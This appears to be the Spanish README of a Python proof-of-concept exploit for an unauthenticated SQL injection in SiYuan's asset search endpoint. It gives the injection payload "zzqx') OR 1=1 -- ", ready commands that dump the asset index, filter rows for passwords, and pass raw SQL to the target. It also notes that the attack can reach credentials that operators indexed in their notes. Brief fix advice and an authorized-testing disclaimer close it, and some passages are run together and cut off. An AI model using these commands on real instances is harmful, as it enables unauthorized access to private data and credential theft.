
PoC en Python para CVE-2026-69083, una inyección SQL no autenticada en el endpoint de búsqueda de contenido de activos de SiYuan. Admite el escape de REGEXP y el paso directo de SQL sin procesar para volcar activos indexados y datos SQLite adjuntos.
Inyección SQL no autenticada en SiYuan (una aplicación de base de conocimiento basada en Go) a través del endpoint de búsqueda de contenido de assets.
POST /api/search/fullTextSearchAssetContent construye una sentencia SQL cruda concatenando el
valor query controlado por el usuario directamente en una cláusula REGEXP sin escape
(kernel/model/asset_content.go, assetContentFieldRegexp):
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
Una comilla simple en query rompe el literal de cadena (CWE-89). Cuando SiYuan se despliega
sin un código de autenticación de acceso (Conf.AccessAuthCode == ""), todo el kernel trata a
los llamantes como administrador sin credenciales, por lo que la inyección es totalmente no
autenticada. method:3 es la ruptura de REGEXP; method:2 además pasa query como una
sentencia SQL cruda.
< 3.7.36806 (no autenticado cuando no se establece accessAuthCode)ATTACH DATABASE a otros archivos SQLite), p. ej., volcado de
credenciales que los operadores indexaron en notasSolo la biblioteca estándar de Python 3 — sin dependencias.
# volcar el índice de contenido de assets (ruptura REGEXP del método 3)
python3 exploit.py http://10.10.10.10:6806/
# solo filas que coincidan con una palabra clave
python3 exploit.py http://10.10.10.10:6806/ --grep password
# método 2 paso directo de SQL crudo (seleccionar las 7 columnas id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
El payload predeterminado es:
query = "zzqx') OR 1=1 -- "
zzqx') cierra el grupo (name REGEXP '...',OR 1=1 hace que la cláusula WHERE sea siempre verdadera,-- comenta el resto de la línea, incluido el AND ext IN <types> final — que de otro modo
sería un error de sintaxis cuando types está vacío (SiYuan emite AND ext IN sin nada
después, y el kernel devuelve silenciosamente cero filas ante un error SQL).El endpoint devuelve entonces todas las filas del índice de contenido de assets, y la herramienta
imprime el content de cada fila.
curl -s http://10.10.10.10:6806/system_stats # o navegar a http://10.10.10.10:6806/ (sin solicitud de inicio de sesión)
Una instancia de SiYuan en el puerto 6806 que se carga sin un código de autenticación de acceso es explotable.
... REGEXP ?) y condiciona la ruta de SQL
crudo del método 2 a una verificación de administrador.--accessAuthCode; nunca lo exponga sin autenticación — sin un
código de autenticación de acceso, toda la API del kernel está abierta al administrador.Solo para pruebas de seguridad autorizadas y educación. Úselo únicamente contra sistemas que usted posea o para los que tenga permiso explícito de prueba.